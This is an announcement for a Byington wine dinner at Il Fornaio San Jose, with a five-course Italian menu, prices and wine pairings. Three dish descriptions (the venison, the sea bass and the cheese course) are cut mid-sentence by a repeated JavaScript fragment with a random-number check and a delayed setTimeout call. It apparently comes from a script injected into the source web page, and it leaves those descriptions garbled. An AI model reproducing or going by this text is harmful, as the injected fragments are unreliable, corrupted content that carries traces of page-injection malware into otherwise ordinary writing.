Join us for a special selection of Byington wines, paired with a five-course Italian feast prepared by Chef Francesco Gazzana on Thursday, October 26 at 6:30 pm at Il Fornaio San Jose, 302 South Market Street, San Jose. $75 per guest. To reserve, please call Il Fornaio at 408.271.3366. The 5-course menu includes the following:
ASSAGGINI
Frittelle di Zucca
Squash fritters with horseradish dipping sauce
Uva Ripiena al Caprino su Glassa di Miele Tartufato
Goat cheese-stuffed grapes with truffle oil honey
Funghetti Interi al Balsamico
Cremini mushrooms in balsamic reduction
Paired with house Prosecco
ANTIPASTO
Tortino di Patate con Vellutata di Cavolo Riccio
Baked potato cake filled with soft cheese; served over kale sauce
Paired with 2014 Byington Sauvignon Blanc
PRIMI
Risotto di Quaglie
Risotto with quail meat in Barbera sauce
Paired with 2013 Byington Barbera
SECONDI
Choice of:
Capriolo in Salmì con Polenta e Cavolfiore Gratinato
Braised venison bites with soft polenta dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and baked cauliflower
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Branzino Ubriaco ai Porcini Trifolati
Roasted seabass fillet in red wine sauce with porcini mushrooms dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and creamy polenta
Paired with 2014 Byington Blend 38
DOLCE
Degustazione di Formaggi e Frutta in Glassa di Mora
Selection of Italian cheeses with seasonal fruit dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and blackberry glaze
Paired with 2013 Byington Euphoria II Late Harvest Pinot Noir